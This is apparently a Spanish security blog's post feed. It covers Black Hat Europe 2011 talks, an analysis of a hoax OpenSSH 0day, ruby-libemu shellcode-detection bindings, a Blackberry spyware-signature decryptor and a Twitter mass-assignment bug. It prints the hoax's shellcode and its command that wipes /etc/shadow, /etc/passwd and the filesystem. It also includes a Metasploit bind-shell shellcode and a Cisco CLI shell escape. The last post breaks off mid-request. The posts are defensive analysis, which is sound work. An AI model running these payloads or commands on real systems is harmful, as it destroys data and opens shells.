Un blog de Seguridad Informática, desde un punto de vista tecnológico

Más reciente

BlackHat Europe 2011 – Resumen de charlas (Parte I)

Antes de nada y siguiendo la tradición de mis compañeros JuliánJuan, me presento: soy pau ochoa y, como ellos, espero seguir contribuyendo asiduamente en esta iniciativa, testpurposes.net.

Una vez finalizadas las BHeu 2011, durante los próximos días vamos ha publicar diversas entradas haciendo un breve repaso de las charlas a las que asistimos cada uno de nosotros.

Personalmente tuve el placer de poder asistir a un par de charlas del segundo día, siendo finalmente las dos elegidas (no sin dificultades):

Me hacía especial ilusión asistir también a la charla de Sebastian Muniz y Alfredo Ortega, no sólo por la buena pinta que tenía, sino también porque la noche anterior estuvimos charlando con ellos y, a parte de ser muy buena gente, son unos verdaderos cracks.


Día 2

[Chip & Code] EAPEAK – Wireless 802.1X EAP Identification and Foot Printing Tool / Matt Neely & Spencer McIntyre

Matt Neely y Spencer McIntyre, de SecureState, presentaron una versión inicial de la herramienta que han estado desarrollando para la identificación de los métodos EAP utilizados en redes 802.11 (Wi-Fi).

En primer lugar realizaron un breve repaso a la evolución de la seguridad en las redes 802.11, para posteriormente hacer también una introducción a 802.1x, al framework de autenticación EAP y a los diferentes tipos de EAP utilizados para autenticar a los usuarios. A continuación resumieron el proceso de pentesting de redes wireless, para acto seguido mostrar como detectar de forma manual (con Wireshark) los tipos de EAP utilizados en una red, a partir de capturas de tráfico.

Finalmente enseñaron la herramienta EAPeak que han desarrollado, principalmente Spencer McIntyre, para automatizar este proceso y poder obtener además de los métodos EAP, de una forma sencilla y rápida, otra información de interés como por ejemplo nombres de usuario que viajan en claro en PEAP, TTLS, EAP-FAST y LEAP. Esta última funcionalidad puede llegar a ser muy útil durante ciertos pentests, ya que permite obtener usuarios de Active Directory, sin ni tan siquiera estar asociado a la red.

La herramienta ha sido incluida en el CD oficial de las conferencias, pero será publicada en breve. Además comentaron una serie de mejoras que están planeando, entre las que destacan:

  • Mover parte del código a Scapy, para que otras herramientas puedan obtener información EAP de forma más sencilla.
  • Incorporar métodos de ataque, para complementar la herramienta y que esta deje de ser exclusivamente de análisis.

Destacar también la aportación de Raúl Siles durante la tanda de preguntas, ya que su propuesta de añadir métodos activos para el descubrimiento de los métodos EAP, tuvo buena acogida por parte de los ponentes.

En resumen, una buena charla con la que nace una herramienta que puede ser de gran utilidad 🙂

 

[Infraestructure rationale] Owning the data centre using Cisco NX-OS based switches George Hedfors

Durante esta charla George Hedfors, del grupo Cybercom, sacó a relucir diversas deficiencias de seguridad que había detectado previamente en un dispositivo Cisco-7020. De una forma muy distendida y amena, fue explicando como a partir de la explotación de una vulnerabilidad detectada hace 9 años, se interesó por estudiar el modelo de seguridad de estos dispositivos, extrañado por explotar una vulnerabilidad tan antigua en un sistema moderno.

De entre los problemas detectados y reportados a Cisco por George Hedfors, destacan:

  • Ejecución de los daemons con privilegios de root y sin chroot ni similares.
  • La command line interface (CLI) de los dispositivos incluye gran cantidad de comandos ocultos, entre los que destaca gdb, mediante el cual es posible llegar a ejecutar una shell del sistema.
  • sudo configurado con la opción «NOPASSWD» para gran cantidad de comandos.
  • Vulnerabilidad a nivel 2 mediante el envío de paquetes CDP especialmente formados (no se valida correctamente el ID del dispositivo). Además el daemon de CDP se ejecuta como root…
  • Usuario FTP con credenciales hardcodeadas no documentado.
  • La shell utilizada en el dispositivo vsh, tiene una opción con la que no hace falta realizar una escalada de privilegios, ya que permite la ejecución de todos los comandos deshabilitando los roles de seguridad.
  • La CLI utilizada permite obtener una shell ejecutando comandos como:
ssh `/bin/bash`

Creo que con todo lo anterior os podéis hacer una buena idea…

Uno de los mejores momentos de la charla fue cuando, desde el público, un representante de Cisco se ofreció a resolver las preguntas de los asistentes. No dio demasiadas explicaciones ni soluciones concretas, más allá de instigar a cualquiera que tenga dispositivos de este tipo a que pida que se solucionen los problemas y a poner presión a Cisco, pero personalmente valoro como muy positiva su actuación ya que aguantó estoicamente  y dio la cara.

Black Hat Europe 2011

Pasada la segunda edición de una de las mejores conferencias nacionales, las Rooted CON 2011, pasamos a una de las internacionales que nos cae muy de cerca.

Este año, por segunda vez consecutiva, el evento Black Hat Europe tiene lugar en Barcelona (y Testpurposes.net estaremos allí)

El evento constará como siempre de trainings (15 y 16 de Marzo) y de briefings (17 y 18 de Marzo), que por cierto tienen muy buena pinta 🙂

Esperamos veros por allí, y si todavía no tenéis vuestra entrada, los lectores de Testpurposes.net podéis obtener un descuento de 350 euros utilizando el código de promoción TPReadersBH durante el registro.

BH EU 2011

Para los que no vengáis, no os preocupéis, os iremos poniendo al día desde aquí 😉

Buen fin de semana!

libemu para el análisis dinámico del fake 0 day para OpenSSH

En la entrada anterior hemos recogido el análisis estático del falso 0 day para openssh y la shellcode utilizada para ejecutar el payload dañino:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Sin embargo para un rápido análisis dinámico del falso 0 day, y concretamente de su payload, NX puede suponer un escollo, tal y como ha comentado Eloi Sanfelix a través de twitter.

En este caso, la libemu nos puede venir de perlas para poder hacer un análisis rápido de la shellcode:

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

Podemos utilizar la utilidad «sctest» que acompaña a la librería:

$ sctest -S -s 30 < shellcode.bin verbose = 0 execve int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]); stepcount 30 int execve (      const char * dateiname = 0x0012fe8a =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x0012fe7a =>
               = 0x0012fe8a =>
                   = "/bin/sh";
           = 0x0012fe7e =>
               = 0x0012fe92 =>
                   = "-c";
           = 0x0012fe82 =>
               = 0x0041701d =>
                   = "echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Por comentarlo, las llamadas al sistema que «emu_env_linux_new()» hookea por defecto (y que por tanto podríamos monitorizar con «sctest» tal y como lo hemos lanzado) están definidas en el array «syscall_hooks», en el fichero «env_linux_syscalls.h» y son las siguientes (para el entorno linux!):

"accept"
"bind"
"connect"
"dup2"
"execve"
"exit"
"fork"
"getpeername"
"getsockname"
"getsockopt"
"listen"
"recv"
"recvfrom"
"recvmsg"
"send"
"sendmsg"
"sendto"
"shutdown"
"socket"
"socketpair"

Por cierto, poco a poco, vamos avanzando los bindings de la libemu para ruby, que están disponibles en https://github.com/testpurposes/ruby-libemu (ojo! los bindings están totalmente en fase de desarrollo!!, y además lo avanzamos muy poco a poco :P, pero tal vez a alguien le puede ser útil o interesante 🙂 )

Fake 0day exploit para OpenSSH

Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).

Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:

Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.

Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:

Además de este, se han detectado otras variantes, supuestamente multiplataforma:

Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.

Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

En realidad del supuesto exploit, el único código relevante es el siguiente:

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();

En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable «shellcode», por lo que realmente éste se ejecuta en local.

A continuación se adjunta el análisis estático de la shellcode:

seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 push    0Bh
seg000:00000002                 pop     eax             ; eax => system call numbre = 0xB (execve)
seg000:00000003                 cdq                     ; edx => \0
seg000:00000004                 push    edx
seg000:00000005                 push    small 'c-'
seg000:00000009                 mov     edi, esp        ; edi => pointer to "-c"
seg000:0000000B                 push    'hs/'
seg000:00000010                 push    'nib/'
seg000:00000015                 mov     ebx, esp        ; ebx => pointer to "/bin/sh"
seg000:00000017                 push    edx             ; push NULL
seg000:00000018                 call    loc_56          ; push pointer to "aEchoEtcShadowE"
seg000:00000018 ; ---------------------------------------------------------------------------
seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0
seg000:00000056 ; ---------------------------------------------------------------------------
seg000:00000056
seg000:00000056 loc_56:                                 ; CODE XREF: seg000:00000018?p
seg000:00000056                 push    edi             ; push pointer to "-c"
seg000:00000057                 push    ebx             ; push pointer to "/bin/sh"
seg000:00000058                 mov     ecx, esp        ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"]
seg000:0000005A                 int     80h             ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL)
seg000:0000005A seg000          ends
seg000:0000005A
seg000:0000005A
seg000:0000005A                 end

Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.

ruby-libemu

Últimamente venía teniendo ganas de entrar un poco en los internals de Ruby. He pensado que una forma entretenida sería con la programación de extensiones (bindings).

También quería mirarme con calma la libemu:

libemu is a small library written in C offering basic x86 emulation and shellcode detection using GetPC heuristics. It is designed to be used within network intrusion/prevention detections and honeypots.

Y todo lo anterior nos lleva a «ruby-libemu», bindings de Ruby para «libemu».

Aprovechando que la «libemu» viene acompañada de un binding de python, esta primera versión ofrece la misma funcionalidad, para ruby. Así, ya podemos buscar shellcodes en un buffer de datos:

  1. En C:
  2. #include "emu/emu.h"
    #include "emu/emu_shellcode.h"
    
    /*
     * win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
     */
    unsigned char shellcode[] =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
    
    int main(int argc, char *argv[])
    {
    	struct emu *e = emu_new();
    	int32_t result = emu_shellcode_test(e, shellcode, (uint16_t)strlen(shellcode));
    	printf("\n[*] Result: %d\n", result);
    	emu_free(e);
    	return 0;
    }
    

    El resultado:

    $ ./test
    [*] Result: 4

  3. En Python:
  4. import libemu
    '''
    win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
    '''
    shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0")
    
    emulator = libemu.Emulator()
    print emulator.test(shellcode)
    

    El resultado:

    $ python test.py
    4

  5. Y ahora, también en Ruby:
  6. require 'rlibemu'
    
    # win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
    shellcode =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" +
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" +
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" +
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" +
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" +
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" +
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" +
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" +
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" +
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" +
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" +
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" +
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" +
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" +
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" +
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" +
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" +
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
    
    emulator = Libemu::Emulator.new
    p emulator.test(shellcode)
    

    Su resultado:

    $ ruby test.rb
    4

La salida del test, tal y como menciona la documentación de libemu, es:

  • El offset en el que se ha detectado la shellcode (si el test ha sido positivo)
  • -1 si el test ha sido negativo

Si tenemos algo de tiempo, intentaremos hacer una extensión más completa para libemu, ya que con esta primera versión no es posible aprovechar, desde ruby, toda la funcionalidad de la librería 🙂

Sea como sea, esta primera versión se encuentra disponible en https://github.com/testpurposes/ruby-libemu. Para instalar la extensión se pueden seguir los siguientes pasos:

$ rake gem
(in /ruby-libemu)
mkdir -p pkg
WARNING: no rubyforge_project specified
Successfully built RubyGem
Name: ruby-libemu
Version: 0.0.1
File: ruby-libemu-0.0.1.gem
mv ruby-libemu-0.0.1.gem pkg/ruby-libemu-0.0.1.gem
$ gem install pkg/ruby-libemu-0.0.1.gem
Building native extensions. This could take a while...
Successfully installed ruby-libemu-0.0.1
1 gem installed
Installing ri documentation for ruby-libemu-0.0.1...
Installing RDoc documentation for ruby-libemu-0.0.1...

IV Jornada STIC CCN-CERT

La semana pasada, concretamente el martes 14 de diciembre, tuvo lugar la IV Jornada STIC CCN-CERT. Con TB·Security tuvimos la oportunidad de participar activamente en la jornada, entre otra cosas, con una charla sobre análisis de aplicaciones para dispositivos Blackberry, tratando especialmente el análisis de aplicaciones spyware. Durante la charla se explicaron los conceptos básicos relacionados con el entorno Blackberry y la ejecución de aplicaciones, aspectos concretos de spyware para dichos entornos, y se expusó como afrontar el análisis (estático y dinámico) de aplicaciones. Finalmente se mostraron los resultados del análisis de demos de aplicaciones spyware para Blackberry. Por cierto, cualquier feedback sobre la ponencia es bienvenido!

Para aquellos que no pudieron asistir aprovechamos para publicar las diapositivas que se utilizaron durante la ponencia.

Para aquellos que si pudieron asistir, recordar que falló la última parte de la demostración (que vergüenza, que vergüenza! :)), en la que se intentó mostrar uno de los resultados del análisis de la aplicación Kisses, utilizada para el descubrimiento de programas y procesos ocultos en Blackberry. Concretamente falló la plantilla que llevabamos preparada del 010 Editor para ilustrar el parsing del fichero de firmas, una vez descifrado. Para no dejar las cosas a medias, aprovechamos para incluir una captura de pantalla de la plantilla, ahora si, ejecutada correctamente:

La plantilla de 010 editor es la siguiente:

//--------------------------------------
//--- 010 Editor v3.1.3 Binary Template
//
// File: KissessSignaturesTemplate.bt
// Author: juan vazquez
// Revision: 0.1
// Purpose: Kissess signatures db decrypted file parser
//--------------------------------------

typedef struct {
    SetBackColor(cRed);
    char    magic[6];
    SetBackColor(cRed-0x40);
    short   num_signatures;
    SetBackColor(cRed-0x60);
    short   version;
    SetBackColor(cRed-0x80);
    quad    date;
} HEADER;

typedef struct {
    SetBackColor(cGreen);
    ubyte   size_signature;
    SetBackColor(cBlue-0x20);
    ubyte   size_id_signature;
    SetBackColor(cLtBlue);
    byte    id_signature[size_id_signature];
    SetBackColor(cPurple);
    ubyte   size_signature_content;
    SetBackColor(cLtPurple);
    byte    signature_content[size_signature_content];
} SIGNATURE;

BigEndian();
// Header
HEADER header;
// Signatures
local short i = 0;
while (i < header.num_signatures) {
    SIGNATURE sign;
    i++;
}
// Hash
SetBackColor(cGray);
byte file_hash[20];

Como ya comentamos, la plantilla se tiene que aplicar sobre el fichero de firmas de Kisses una vez descifrado. EL fichero de firmas se puede descifrar con el siguiente ruby (el algoritmo, clave e IV se obtienen a partir del análisis que se comentó durante la ponencia):

require 'openssl'

module AESCrypt

  # Decrypts a block of data (encrypted_data) given an encryption key
  # and an initialization vector (iv).  Keys, iv's, and the data
  # returned are all binary strings.  Cipher_type should be
  # "AES-256-CBC", "AES-256-ECB", or any of the cipher types
  # supported by OpenSSL.  Pass nil for the iv if the encryption type
  # doesn't use iv's (like ECB).
  #:return: => String
  #:arg: encrypted_data => String
  #:arg: key => String
  #:arg: iv => String
  #:arg: cipher_type => String

  def AESCrypt.decrypt(encrypted_data, key, iv, cipher_type)
    aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    aes.decrypt
    aes.key = key
    aes.iv = iv if iv != nil
    aes.update(encrypted_data) + aes.final
  end

  # Encrypts a block of data given an encryption key and an
  # initialization vector (iv).  Keys, iv's, and the data returned
  # are all binary strings.  Cipher_type should be "AES-256-CBC",
  # "AES-256-ECB", or any of the cipher types supported by OpenSSL.
  # Pass nil for the iv if the encryption type doesn't use iv's (like
  # ECB).
  #:return: => String
  #:arg: data => String
  #:arg: key => String
  #:arg: iv => String
  #:arg: cipher_type => String

  def AESCrypt.encrypt(data, key, iv, cipher_type)
    aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    aes.encrypt
    aes.key = key
    aes.iv = iv if iv != nil
    aes.update(data) + aes.final
  end

end

class SignaturesDecryptor

	include AESCrypt

	attr_accessor :filename
	attr_accessor :key
	attr_accessor :iv
	attr_accessor :cipher_type

	def initialize(filename = "")
		@filename = filename
		@key = [-117, 109, -121, 50, 44, 127, -61, -37, -27, 110, 36, -28, 66, -85, -9, -102]
		@iv = [109, -76, -62, 45, -121, 12, 16, -8, -26, -89, 92, 112, -37, 9, 36, 7]
		@cipher_type =  "AES-128-CBC"
	end

	def decrypt_signatures
		if @filename.empty?
			return ""
		end
		decrypted = ""
		File.open(filename, "rb") do |signatures|
			decrypted = AESCrypt.decrypt(signatures.read, @key.pack("c16"), @iv.pack("c16"), @cipher_type)
		end
		decrypted
	end
end

sd = SignaturesDecryptor.new("signatures.db")

File.open("signatures_decrypted.db", "wb") do |result|
	result.write(sd.decrypt_signatures)
end

El módulo AESCrypt me lo agencié de un blog (creo) que ahora no soy capaz de recordar, así que no puedo hacer referencia, sorry 😦

Ya para acabar, comentar que bajo mi punto de vista la organización del evento fué fantástica, hubieron charlas muy interesantes y, almenos yo, disfruté de un gran día en una muy grata compañía! 🙂

Saludos!

Ejemplo de ¿mass assignment? en twitter

A raíz del (ahora ya no tan) reciente incidente relacionado con un cross-site scripting en twitter dando un paseo por twitter encontramos lo que parecía ser un ejemplo «curioso» de mass-assignment en la actualización del modelo «User», sobre el que nos gustaría compartir los detalles.

Para la gente que no esté familiarizada con el entorno de Ruby On Rails, comentar que mass-assignment es una característica de Rails que permite la actualización de los atributos de un modelo de forma masiva, a partir de un Hash que contenga los atributos y valores del modelo de datos. Si imaginamos un modelo de datos «User» con dos atributos: «name» y «surname», a partir de un Hash como el siguiente:

user_attrs = Hash.new
user_attrs = {:name => "juan", :surname => "vazquez" }

Rails permite setear los atributos del modelo de forma masiva, por ejemplo:

# nuevo usuario utilizando mass-assignment
User.new(user_attrs)
# actualización de un usuario utilizando mass-assignment
user.update_attributes(user_attrs)

El problema es que setear los atributos de forma masiva puede comprometer la seguridad de la aplicación si no se toman las precauciones adecuadas. Más información sobre mass-assignment y seguridad en aplicaciones Rails se puede encontrar en:

El bug, que permitía a un usuario autenticado actualizar datos sensibles de su perfil (como su dirección de correo electrónico) sin confirmar su identidad (introduciendo nuevamente su contraseña), ha sido reportado a Twitter previamente y ha sido corregido (aunque no nos ha confirmado la naturaleza del problema). Comentamos a continuación los detalles.

El tema es que twitter permite actualizar el perfil (esto es, actualizar el modelo «User») a los usuarios al menos a través de 4 opciones (siempre hablando del acceso Web):

  • Account
  • Notices
  • Profile
  • Design

Si nos fijamos en las diferentes peticiones que se generan, nos damos cuenta de que las cuatro opciones actualizan el modelo «User» («user[propiedad]=valor»):

  • Account
  • POST /settings/accounts/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/account
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 345
    
    _method=put&authenticity_token=&user%5Bscreen_name%5D=j_u_a_n_v_p&user%5Bemail%5D=juan.vazquez.test%40gmail.com&user%5Bdiscoverable_by_email%5D=0&user%5Blang%5D=en&user%5Btime_zone%5D=Greenland&user%5Bgeo_enabled%5D=0&user%5Bshow_all_inline_media%5D=0&user%5Bprotected%5D=0&auth_password=faketest&commit=Save+changes
    
  • Notices
  • POST /settings/notifications/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/notifications
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 212
    
    authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&commit=Save
    
  • Profile
  • POST /settings/profile HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/profile
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------22901348621322226821059329840
    Content-Length: 1131
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="_method"
    
    put
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[name]"
    
    test
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[location]"
    
    barcelona
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[url]"
    
    http://
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[description]"
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="commit"
    
    Save
    -----------------------------22901348621322226821059329840--
    
  • Design
  • POST /settings/design/update HTTP/1.1
    Host: twitter.com
